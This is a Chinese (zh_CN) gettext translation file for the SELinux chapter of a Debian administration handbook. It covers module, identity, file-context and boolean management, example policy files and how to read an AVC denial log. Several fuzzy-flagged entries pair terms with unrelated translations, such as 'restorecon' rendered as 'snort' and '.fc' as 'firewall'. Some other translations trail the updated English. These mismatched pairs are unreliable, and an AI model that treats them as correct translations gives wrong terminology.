msgstr "这两个命令可以用于修改当前 SELinux 存储在 /etc/selinux/default/ 的配置。不像其他配置文件,可以在 /etc/ 中的其他配置文件,这些文件不能手工修改。应当使用相应的程序来修改。"
#, fuzzy
#| msgid "bufferreceive buffer"
msgid "/etc/etc/selinux/default/"
msgstr "缓冲区接收缓冲区"
msgid "GOING FURTHER More documentation"
msgstr "进阶更多文档"
#, fuzzy
#| msgid "Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. "
msgid "Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. "
msgstr "由于 NSA 没有提供任何官方文档,社区设置了 wiki 来弥补。里面收集了很多信息,但是要意识到大多数 SELinux 贡献者是 Fedora 用户(其中 SELinux 默认启用)。因此,文档趋于处理该发行版的问题。"
msgid "You should also have a look at the dedicated Debian wiki page. "
msgstr ""
msgid "Managing SELinux Modules"
msgstr "管理 SELinux 模块"
#, fuzzy
#| msgid "logsdisplay"
msgid "SELinuxmodules"
msgstr "OSImodel"
#, fuzzy
#| msgid "Available SELinux modules are stored in the /usr/share/selinux/default/ directory. To enable one of these modules in the current configuration, you should use semodule -i module.pp. The pp extension stands for policy package."
msgid "Available SELinux modules are stored in the /usr/share/selinux/default/ directory. To enable one of these modules in the current configuration, you should use semodule -i module.pp.bz2. The pp.bz2 extension stands for policy package (compressed with bzip2)."
msgstr "可用的 SELinux 模块存储在 /usr/share/selinux/default/ 目录。要在当前配置中启用其中的一个模块,使用 semodule -i module.pp 命令。pp 扩展名代表 策略软件包-policy package。"
#, fuzzy
#| msgid "Removing a module from the current configuration is done with semodule -r module. Finally, the semodule -l command lists the modules which are currently enabled. It also outputs their version numbers."
msgid "Removing a module from the current configuration is done with semodule -r module. Finally, the semodule -l command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with semodule -e and disabled with semodule -d."
msgstr "从当前配置中移除模块使用 semodule -r module 命令。semodule -l 列出当前已经启用的模块清单。同时也输出版本号。"
#, fuzzy
#| msgid ""
#| "# semodule -i /usr/share/selinux/default/abrt.pp.bz2\n"
#| "libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system.\n"
#| "# semodule -l\n"
#| "accountsd\n"
#| "acct\n"
#| "[...]\n"
#| "# semodule -e abrt\n"
#| "# semodule -d accountsd\n"
#| "# semodule -l\n"
#| "abrt\n"
#| "acct\n"
#| "[...]\n"
#| "# semodule -r abrt\n"
#| "libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.semodule -l"
msgid ""
"# semodule -i /usr/share/selinux/default/abrt.pp.bz2\n"
"libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system.\n"
"# semodule -l\n"
"accountsd\n"
"acct\n"
"[...]\n"
"# semodule -e abrt\n"
"# semodule -d accountsd\n"
"# semodule -l\n"
"abrt\n"
"acct\n"
"[...]\n"
"# semodule -r abrt\n"
"libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active."
msgstr ""
"# semodule -i /usr/share/selinux/default/abrt.pp.bz2\n"
"libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system.\n"
"# semodule -l\n"
"accountsd\n"
"acct\n"
"[...]\n"
"# semodule -e abrt\n"
"# semodule -d accountsd\n"
"# semodule -l\n"
"abrt\n"
"acct\n"
"[...]\n"
"# semodule -r abrt\n"
"libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.semodule -l"
msgid "semodule immediately loads the new configuration unless you use its -n option. It is worth noting that the program acts by default on the current configuration (which is indicated by the SELINUXTYPE variable in /etc/selinux/config), but that you can modify another one by specifying it with the -s option."
msgstr "semodule 立即加载新配置,除非使用了 -n 选项。需要注意的是在当前配置默认启用的程序(由在 /etc/selinux/config 文件中的 SELINUXTYPE 变量指明),可以使用 -s 选项来修改和储存其他的。注意不同版本支持的选项可能不同。"
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/selinux/config"
msgstr "监视日志文件"
msgid "Managing Identities"
msgstr "管理身份"
#, fuzzy
#| msgid "logsdisplay"
msgid "SELinuxidentity"
msgstr "OSImodel"
msgid "Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the semanage command."
msgstr "每次用户登录,就会被赋予一个 SELinux 身份。该身份定义了他们可以使用的角色。这两种映射(从用户到身份,从该身份到角色)使用 semanage 命令配置。"
#, fuzzy
#| msgid "You should definitely read the semanage8 manual page, even if the command's syntax tends to be similar for all the concepts which are managed. You will find common options to all sub-commands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain)."
msgid "You should definitely read the semanage 8 manual page. All the managed concepts have their own manual page; for instance, semanage-login 8. Even if the command's syntax tends to be similar for all the concepts which are managed, it is recommended to read its manual page. You will find common options to most subcommands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain)."
msgstr "一定要阅读 semanage8 手册页,即使命令语法和所管理的所有概念相似。你会发现所有子命令的通用选项:-a 添加,-d 删除,-m 修改,-l 列表,-t 指明类型(或域)。"
msgid "semanage login -l lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the __default__ entry. The semanage login -a -s user_u user command will associate the user_u identity to the given user. Finally, semanage login -d user drops the mapping entry assigned to this user."
msgstr "semanage login -l 列出当用户身份和 SELinux 身份之间的映射。没有指明登记项的用户会使用 __default__ 登记项。 semanage login -a -s user_u user 命令会关联 user_u 身份到指定用户。semanage login -d user 会移除赋予用户的映射登记项。"
#, fuzzy
#| msgid ""
#| "# semanage login -a -s user_u rhertzog\n"
#| "# semanage login -l\n"
#| "\n"
#| "Login Name SELinux User MLS/MCS Range Service\n"
#| "\n"
#| "__default__ unconfined_u s0-s0:c0.c1023 *\n"
#| "rhertzog user_u s0 *\n"
#| "root unconfined_u s0-s0:c0.c1023 *\n"
#| "# semanage login -d rhertzog"
msgid ""
"# semanage login -a -s user_u rhertzog\n"
"# semanage login -l\n"
"\n"
"Login Name SELinux User MLS/MCS Range Service\n"
"\n"
"__default__ unconfined_u s0-s0:c0.c1023 *\n"
"rhertzog user_u s0 *\n"
"root unconfined_u s0-s0:c0.c1023 *\n"
"# semanage login -d rhertzog\n"
""
msgstr ""
"# semanage login -a -s user_u rhertzog\n"
"# semanage login -l\n"
"\n"
"Login Name SELinux User MLS/MCS Range Service\n"
"\n"
"__default__ unconfined_u s0-s0:c0.c1023 *\n"
"rhertzog user_u s0 *\n"
"root unconfined_u s0-s0:c0.c1023 *\n"
"# semanage login -d rhertzog"
msgid "semanage user -l lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (/home/user/*). The prefix must be picked among user, staff, and sysadm. The “staff” prefix results in files of type “staff_home_dir_t”. Creating a new SELinux user identity is done with semanage user -a -R roles -P prefix identity. Finally, you can remove an SELinux user identity with semanage user -d identity."
msgstr "semanage user -l 列出 SELinux 用户身份和允许的角色之间的映射。添加一个新的身份需要定义相应的角色和用于给个人文件赋予类型的标识前缀(/home/user/*)。前缀必须从 user,staff,和 sysadm 之间挑选。staff 前缀生成 staff_home_dir_t 类型文件。创建新的用户身份使用 semanage user -a -R roles -P prefix identity。使用 semanage user -d identity 移除用户身份。"
#, fuzzy
#| msgid ""
#| "# semanage user -a -R 'staff_r user_r' -P staff test_u\n"
#| "# semanage user -l\n"
#| "\n"
#| " Labeling MLS/ MLS/ \n"
#| "SELinux User Prefix MCS Level MCS Range SELinux Roles\n"
#| "\n"
#| "root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r\n"
#| "staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r\n"
#| "sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r\n"
#| "system_u user s0 s0-s0:c0.c1023 system_r\n"
#| "test_u staff s0 s0 staff_r user_r\n"
#| "unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r\n"
#| "user_u user s0 s0 user_r\n"
#| "# semanage user -d test_u"
msgid ""
"# semanage user -a -R 'staff_r user_r' -P staff test_u\n"
"# semanage user -l\n"
"\n"
" Labeling MLS/ MLS/ \n"
"SELinux User Prefix MCS Level MCS Range SELinux Roles\n"
"\n"
"root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r\n"
"staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r\n"
"sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r\n"
"system_u user s0 s0-s0:c0.c1023 system_r\n"
"test_u staff s0 s0 staff_r user_r\n"
"unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r\n"
"user_u user s0 s0 user_r\n"
"# semanage user -d test_u\n"
""
msgstr ""
"# semanage user -a -R 'staff_r user_r' -P staff test_u\n"
"# semanage user -l\n"
"\n"
" Labeling MLS/ MLS/ \n"
"SELinux User Prefix MCS Level MCS Range SELinux Roles\n"
"\n"
"root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r\n"
"staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r\n"
"sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r\n"
"system_u user s0 s0-s0:c0.c1023 system_r\n"
"test_u staff s0 s0 staff_r user_r\n"
"unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r\n"
"user_u user s0 s0 user_r\n"
"# semanage user -d test_u"
msgid "Managing File Contexts, Ports and Booleans"
msgstr "管理文件上下文,端口和布尔值"
#, fuzzy
#| msgid "snort"
msgid "restorecon"
msgstr "snort"
msgid "Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the /srv/www/ file hierarchy, you could execute semanage fcontext -a -t httpd_sys_content_t \"/srv/www(/.*)?\" followed by restorecon -R /srv/www/. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules."
msgstr "每个 SELinux 模块提供了一套标识规则,但是也可以添加定制的标识规则来满足特殊情况。例如,如果想要网页服务器能读取 /srv/www/ 里面的文件,就要执行 semanage fcontext -a -t httpd_sys_content_t \"/srv/www(/.*)?\" 和 restorecon -R /srv/www/。前者注册新的标识规则,后者根据当前标识规则重置文件类型。"
#, fuzzy
#| msgid "Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want that the web server be able to listen on port 8080, you should run semanage port -m -t http_port_t -p tcp 8080."
msgid "Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run semanage port -m -t http_port_t -p tcp 8080."
msgstr "类似地,TCP/UDP 端口被标识,以确保只有相对应的守护进程可以监听它们。譬如,如果想要网页服务器能监听8080端口,就要运行 semanage port -m -t http_port_t -p tcp 8080。"
#, fuzzy
#| msgid "top"
msgid "getsebool"
msgstr "top"
#, fuzzy
#| msgid "top"
msgid "setsebool"
msgstr "top"
#, fuzzy
#| msgid "Some SELinux modules export boolean options that you can tweak to alter the behavior of the default rules. The getsebool utility can be used to inspect those options (getsebool boolean displays one option, and getsebool -a them all). The setsebool boolean value command changes the current value of a boolean option. The -P option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in ~/public_html/)."
msgid "Some SELinux modules export Boolean options that you can tweak to alter the behavior of the default rules. The getsebool utility can be used to inspect those options (getsebool boolean displays one option, and getsebool -a them all). The setsebool boolean value command changes the current value of a Boolean option. The -P option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in ~/public_html/)."
msgstr "有些 SELinux 模块导出布尔选项,可以用来改变默认规则。getsebool 程序可以用于检查此类选项(getsebool boolean 显示一个选项,getsebool -a 显示所有选项)。setsebool boolean value 命令改变当前布尔选项值。-P 选项使更改永久生效,就意味着新规则成为默认规则,重启之后也会保留。下面的例子授予网页服务器对用户主目录的访问权限(当用户在 ~/public_html/ 中有个人网页的时候,这是很有用的)。"
#, fuzzy
#| msgid ""
#| "# getsebool httpd_enable_homedirs\n"
#| "httpd_enable_homedirs --> off\n"
#| "# setsebool -P httpd_enable_homedirs on\n"
#| "# getsebool httpd_enable_homedirs \n"
#| "httpd_enable_homedirs --> on"
msgid ""
"# getsebool httpd_enable_homedirs\n"
"httpd_enable_homedirs --> off\n"
"# setsebool -P httpd_enable_homedirs on\n"
"# getsebool httpd_enable_homedirs\n"
"httpd_enable_homedirs --> on"
msgstr ""
"# getsebool httpd_enable_homedirs\n"
"httpd_enable_homedirs --> off\n"
"# setsebool -P httpd_enable_homedirs on\n"
"# getsebool httpd_enable_homedirs \n"
"httpd_enable_homedirs --> on"
msgid "Adapting the Rules"
msgstr "适应规则"
msgid "Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the reference policy."
msgstr "既然 SELinux 策略是模块化的,那么为(定制化)新应用开发新模块是很有趣的。这些新模块会完善参考策略。"
msgid "To create new modules, the selinux-policy-dev package is required, as well as selinux-policy-doc. The latter contains the documentation of the standard rules (/usr/share/doc/selinux-policy-doc/html/) and sample files that can be used as templates to create new modules. Install those files and study them more closely:"
msgstr "要创建新模块,需要 selinux-policy-dev 软件包,还有 selinux-policy-doc。后者包含了标准规则的文档(/usr/share/doc/selinux-policy-doc/html/)和可用于创建新规则的模板示例文件。安装这些文件并更深入的研究:"
#, fuzzy
#| msgid ""
#| "$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile\n"
#| "$ cp /usr/share/doc/selinux-policy-doc/example.fc ./\n"
#| "$ cp /usr/share/doc/selinux-policy-doc/example.if ./\n"
#| "$ cp /usr/share/doc/selinux-policy-doc/example.te ./"
msgid ""
"$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile\n"
"$ cp /usr/share/doc/selinux-policy-doc/example.fc ./\n"
"$ cp /usr/share/doc/selinux-policy-doc/example.if ./\n"
"$ cp /usr/share/doc/selinux-policy-doc/example.te ./\n"
""
msgstr ""
"$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile\n"
"$ cp /usr/share/doc/selinux-policy-doc/example.fc ./\n"
"$ cp /usr/share/doc/selinux-policy-doc/example.if ./\n"
"$ cp /usr/share/doc/selinux-policy-doc/example.te ./"
#, fuzzy
#| msgid "packet filter"
msgid ".te"
msgstr "包过滤"
#, fuzzy
#| msgid "firewall"
msgid ".fc"
msgstr "防火墙"
#, fuzzy
#| msgid "firewall"
msgid ".if"
msgstr "防火墙"
#, fuzzy
#| msgid "The .te file is the most important one. It defines the rules. The .fc file defines the “file contexts”, that is the types assigned to files related to this module. The data within the .fc file are used during the file labeling step. Finally, the .if file defines the interface of the module: it's a set of “public functions” that other modules can use to properly interact with the module that you're creating."
msgid "The .te file is the most important one. It defines the rules. The .fc file defines the “file contexts”, that is the types assigned to files related to this module. The data within the .fc file are used during the file labeling step. Finally, the .if file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating."
msgstr ".te 文件是最重要的一个。它定义规则。.fc 文件定义“文件上下文”,即与模块相关的文件被赋予的类型。.fc 文件里的数据将在文件标识时使用。.if 文件定义了模块接口:它是一套“公用函数”,以便其他模块可以同你所创建的模块交互。"
msgid "Writing a .fc file"
msgstr "写一个 .fc 文件"
msgid "Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree."
msgstr "阅读下面的例子足可以理解此类文件的结构。可以使用正则表达式给多个文件,甚至是整个目录树赋予相同的安全上下文。"
msgid "example.fc file"
msgstr "example.fc 文件"
#, fuzzy
#| msgid ""
#| "# myapp executable will have:\n"
#| "# label: system_u:object_r:myapp_exec_t\n"
#| "# MLS sensitivity: s0\n"
#| "# MCS categories: <none>\n"
#| "\n"
#| "/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)"
msgid ""
"\n"
"\n"
"/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)\n"
"]]>"
msgstr ""
"# myapp executable will have:\n"
"# label: system_u:object_r:myapp_exec_t\n"
"# MLS sensitivity: s0\n"
"# MCS categories: <none>\n"
"\n"
"/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)"
msgid "Writing a .if File"
msgstr "写一个 .if 文件"
msgid "In the sample below, the first interface (“myapp_domtrans”) controls who can execute the application. The second one (“myapp_read_log”) grants read rights on the application's log files."
msgstr "在下面的例子中,第一个接口(myapp_domtrans)控制谁可以执行程序。第二个(myapp_read_log)授予程序日志文件的读权限。"
msgid "Each interface must generate a valid set of rules which can be embedded in a .te file. You should thus declare all the types that you use (with the gen_require macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights."
msgstr "每个接口必须有一套规则并嵌入到 .te 文件。因此必须声明所有使用的类型(使用 gen_require 宏),并使用标准指令授予权限。也可以使用其他模块提供的接口。如何表示这些权限将在下节给出更详细的解释。"
msgid "example.if File"
msgstr "example.if 文件"
#, fuzzy
msgid ""
"Myapp example policy\n"
"## \n"
"## \n"
"## More descriptive text about myapp. The desc\n"
"## tag can also use p, ul, and ol\n"
"## html tags for formatting.\n"
"##
\n"
"## \n"
"## This policy supports the following myapp features:\n"
"##
\n"
"## - Feature A
\n"
"## - Feature B
\n"
"## - Feature C
\n"
"##
\n"
"##
\n"
"## \n"
"#\n"
"\n"
"########################################\n"
"## \n"
"## Execute a domain transition to run myapp.\n"
"## \n"
"## \n"
"## \n"
"## Domain allowed to transition.\n"
"## \n"
"## \n"
"#\n"
"interface(`myapp_domtrans',`\n"
" gen_require(`\n"
" type myapp_t, myapp_exec_t;\n"
" ')\n"
"\n"
" domtrans_pattern($1,myapp_exec_t,myapp_t)\n"
"')\n"
"\n"
"########################################\n"
"## \n"
"## Read myapp log files.\n"
"## \n"
"## \n"
"## \n"
"## Domain allowed to read the log files.\n"
"## \n"
"## \n"
"#\n"
"interface(`myapp_read_log',`\n"
" gen_require(`\n"
" type myapp_log_t;\n"
" ')\n"
"\n"
" logging_search_logs($1)\n"
" allow $1 myapp_log_t:file read_file_perms;\n"
"')\n"
"]]>"
msgstr ""
"## <summary>Myapp example policy</summary>\n"
"## <desc>\n"
"## <p>\n"
"## More descriptive text about myapp. The <desc>\n"
"## tag can also use <p>, <ul>, and <ol>\n"
"## html tags for formatting.\n"
"## </p>\n"
"## <p>\n"
"## This policy supports the following myapp features:\n"
"## <ul>\n"
"## <li>Feature A</li>\n"
"## <li>Feature B</li>\n"
"## <li>Feature C</li>\n"
"## </ul>\n"
"## </p>\n"
"## </desc>\n"
"#\n"
"\n"
"########################################\n"
"## <summary>\n"
"## Execute a domain transition to run myapp.\n"
"## </summary>\n"
"## <param name=\"domain\">\n"
"## Domain allowed to transition.\n"
"## </param>\n"
"#\n"
"interface(`myapp_domtrans',`\n"
" gen_require(`\n"
" type myapp_t, myapp_exec_t;\n"
" ')\n"
"\n"
" domtrans_pattern($1,myapp_exec_t,myapp_t)\n"
"')\n"
"\n"
"########################################\n"
"## <summary>\n"
"## Read myapp log files.\n"
"## </summary>\n"
"## <param name=\"domain\">\n"
"## Domain allowed to read the log files.\n"
"## </param>\n"
"#\n"
"interface(`myapp_read_log',`\n"
" gen_require(`\n"
" type myapp_log_t;\n"
" ')\n"
"\n"
" logging_search_logs($1)\n"
" allow $1 myapp_log_t:file r_file_perms;\n"
"')"
msgid "DOCUMENTATION Explanations about the reference policy"
msgstr "文档关于参考策略的解释"
#, fuzzy
#| msgid "The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. "
msgid "The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. "
msgstr "参考策略像其他任何自由软件一样演变:基于志愿者的贡献。该项目有 Tresys 托管,它是在 SELinux 领域最活跃的公司之一。他们的 wiki 页面包含了如何构建规则的解释以及如何创建新规则。"
msgid "Writing a .te File"
msgstr "写一个 .te 文件"
msgid "Have a look at the example.te file:"
msgstr "看一看 example.te 文件:"
msgid "GOING FURTHER The m4 macro language"
msgstr "进阶 m4 宏语言"
#, fuzzy
#| msgid "mrtg"
msgid "m4"
msgstr "mrtg"
msgid "To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar allow directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy."
msgstr "要恰当的构建策略,SELinux 开发者使用宏命令处理器。他们创建了“宏功能”,而非重复使用很多相似的允许(allow)指令,来使用高级别的逻辑生成更加可读的策略。"
msgid "In practice, m4 is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of allow directives."
msgstr "实际上,m4 用于编译这些规则。它进行反方向地操作:将所有高级别的逻辑扩展为由允许(allow)指令组成的巨型数据库。"
msgid "The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time."
msgstr "SELinux“接口”只是宏功能,在编译时它会被一套规则替代。类似地,有些权限其实是一套权限集合,它们在编译时会被实际值取代。"
#, fuzzy
#| msgid ""
#| "policy_module(myapp,1.0.0) \n"
#| "\n"
#| "########################################\n"
#| "#\n"
#| "# Declarations\n"
#| "#\n"
#| "\n"
#| "type myapp_t; \n"
#| "type myapp_exec_t;\n"
#| "domain_type(myapp_t)\n"
#| "domain_entry_file(myapp_t, myapp_exec_t) \n"
#| "\n"
#| "type myapp_log_t;\n"
#| "logging_log_file(myapp_log_t) \n"
#| "\n"
#| "type myapp_tmp_t;\n"
#| "files_tmp_file(myapp_tmp_t)\n"
#| "\n"
#| "########################################\n"
#| "#\n"
#| "# Myapp local policy\n"
#| "#\n"
#| "\n"
#| "allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; \n"
#| "\n"
#| "allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
#| "files_tmp_filetrans(myapp_t,myapp_tmp_t,file)"
msgid ""
"policy_module(example,1.0.0) # a non-base module name must match the file name\n"
"\n"
"########################################\n"
"#\n"
"# Declarations\n"
"#\n"
"\n"
"type myapp_t; \n"
"type myapp_exec_t;\n"
"domain_type(myapp_t)\n"
"domain_entry_file(myapp_t, myapp_exec_t) \n"
"\n"
"type myapp_log_t;\n"
"logging_log_file(myapp_log_t) \n"
"\n"
"type myapp_tmp_t;\n"
"files_tmp_file(myapp_tmp_t)\n"
"\n"
"########################################\n"
"#\n"
"# Myapp local policy\n"
"#\n"
"\n"
"allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; \n"
"\n"
"allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
"files_tmp_filetrans(myapp_t,myapp_tmp_t,file)"
msgstr ""
"policy_module(myapp,1.0.0) \n"
"\n"
"########################################\n"
"#\n"
"# Declarations\n"
"#\n"
"\n"
"type myapp_t; \n"
"type myapp_exec_t;\n"
"domain_type(myapp_t)\n"
"domain_entry_file(myapp_t, myapp_exec_t) \n"
"\n"
"type myapp_log_t;\n"
"logging_log_file(myapp_log_t) \n"
"\n"
"type myapp_tmp_t;\n"
"files_tmp_file(myapp_tmp_t)\n"
"\n"
"########################################\n"
"#\n"
"# Myapp local policy\n"
"#\n"
"\n"
"allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; \n"
"\n"
"allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
"files_tmp_filetrans(myapp_t,myapp_tmp_t,file)"
msgid "The module must be identified by its name and version number. This directive is required."
msgstr "模块必须通过名字和版本号标识。此指令是必须的。"
msgid "If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights."
msgstr "如果模块引入了新类型,它们必须使用类似的指令声明。不要害怕需要创建的类型过多,这总胜过赋予过多无用权限。"
msgid "Those interfaces define the myapp_t type as a process domain that should be used by any executable labeled with myapp_exec_t. Implicitly, this adds an exec_type attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the userdomain module allows processes with domains user_t, staff_t, and sysadm_t to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of dpkg with its dpkg_t domain)."
msgstr "这些接口定义 myapp_t 类型为进程域,它可以被标识为 myapp_exec_t 的可执行程序使用。这隐式地给这些对象添加 exec_type 属性,反过来允许其他模块授予权限执行这些程序:例如,userdomain 模块允许具有 user_t,staff_t,和 sysadm_t 域的进程执行。其他受限域将无权运行,除非规则赋予它们类似的权限(在此例中,dpkg 和域 dpkg_t)。"
#, fuzzy
#| msgid "logging_log_file is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example granting rights to logrotate so that it can manipulate them)."
msgid "logging_log_file is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to logrotate so that it can manipulate them)."
msgstr "logging_log_file 是一个有参考策略提供的接口。它指明具有某些标识的文件是日志文件并从相关联的规则中获取权限(例如赋予 logrotate 权限,以便于处理它们)。"
msgid "The allow directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “type:class“ where type is its SELinux type and class describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations)."
msgstr "allow 指令是授予操作权限的基本指令。第一个参数是允许执行操作的进程域。第二个定义前面的域进程可以操作的对象。参数的形式是:“type:class”此处 type 是 SELinux 类型,class 描述对象(文件,目录,套接字,fifo,等等)属性。最后的参数描述许可权限(即允许的操作)。"
#, fuzzy
#| msgid "Permissions are defined as the set of allowed operations and follow this template: { operation1 operation2 }. However, you can also use macros representing the most useful permissions. The /usr/share/selinux/default/include/support/obj_perm_sets.spt lists them."
msgid "Permissions are defined as the set of allowed operations and follow this template: { operation1 operation2 }. However, you can also use macros representing the most useful permissions. The /usr/share/selinux/devel/include/support/obj_perm_sets.spt lists them."
msgstr "许可权限由一套允许操作集合组成,并按照这个模板: { operation1 operation2 }。可以使用宏来代表最常用的许可。/usr/share/selinux/default/include/support/obj_perm_sets.spt 中一一列举。"
#, fuzzy
#| msgid "The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. "
msgid "The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. "
msgstr "后面的网页提供了一个比较详尽的对象类列表,以及可以授予的权限。"
msgid "Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates."
msgstr "现在需要找到能确保目标程序或服务正常工作的最小规则集合。要做到这一点,就要很好的理解应用程序是如何工作的,它需要处理或生成什么样的数据。"
msgid "However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:"
msgstr "然而,实验方法也可以。一旦相关的对象被正确标识,可以在许可模式下使用应用程序:应该禁止的操作会被记录但是仍然会运行。通过分析日志,就能识别那些操作应该允许。这里有一个此类日志条目示例:"
msgid "avc: denied { read write } for pid=1876 comm=\"syslogd\" name=\"xconsole\" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1"
msgstr "avc: denied { read write } for pid=1876 comm=\"syslogd\" name=\"xconsole\" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1"
msgid "To better understand this message, let us study it piece by piece."
msgstr "为了更好的理解这条信息,我们逐一分析。"
msgid "Analysis of an SELinux trace"
msgstr "SELinux 追踪记录分析"
msgid "Message"
msgstr "消息"
msgid "Description"
msgstr "描述"
msgid "avc: denied"
msgstr "avc: denied"
msgid "An operation has been denied."
msgstr "一个操作被拒绝。"
msgid "{ read write }"
msgstr "{ read write }"
msgid "This operation required the read and write permissions."
msgstr "该操作需要 读-read 和 写-write 许可。"
msgid "pid=1876"
msgstr "pid=1876"
msgid "The process with PID 1876 executed the operation (or tried to execute it)."
msgstr "进程号为1876的进程执行的操作(或者试图执行)。"
msgid "comm=\"syslogd\""
msgstr "comm=\"syslogd\""
msgid "The process was an instance of the syslogd program."
msgstr "该进程是 syslogd 程序的一个实例。"
msgid "name=\"xconsole\""
msgstr "name=\"xconsole\""
msgid "The target object was named xconsole. Sometimes you can also have a “path” variable — with the full path — instead."
msgstr ""
msgid "dev=tmpfs"
msgstr "dev=tmpfs"
#, fuzzy
#| msgid "The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example: “hda3”)."
msgid "The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”)."
msgstr "承载目标对象的设备是 tmpfs(一个内存文件系统)。对于真实磁盘,可以看到承载对象的分区(例如:“hda3”)。"
msgid "ino=5510"
msgstr "ino=5510"
msgid "The object is identified by the inode number 5510."
msgstr "对象的节点(inode)号码是5510。"
msgid "scontext=system_u:system_r:syslogd_t:s0"
msgstr "scontext=system_u:system_r:syslogd_t:s0"
msgid "This is the security context of the process who executed the operation."
msgstr "这是执行操作进程的安全上下文。"
msgid "tcontext=system_u:object_r:device_t:s0"
msgstr "tcontext=system_u:object_r:device_t:s0"
msgid "This is the security context of the target object."
msgstr "这是执行操作对象的安全上下文。"
msgid "tclass=fifo_file"
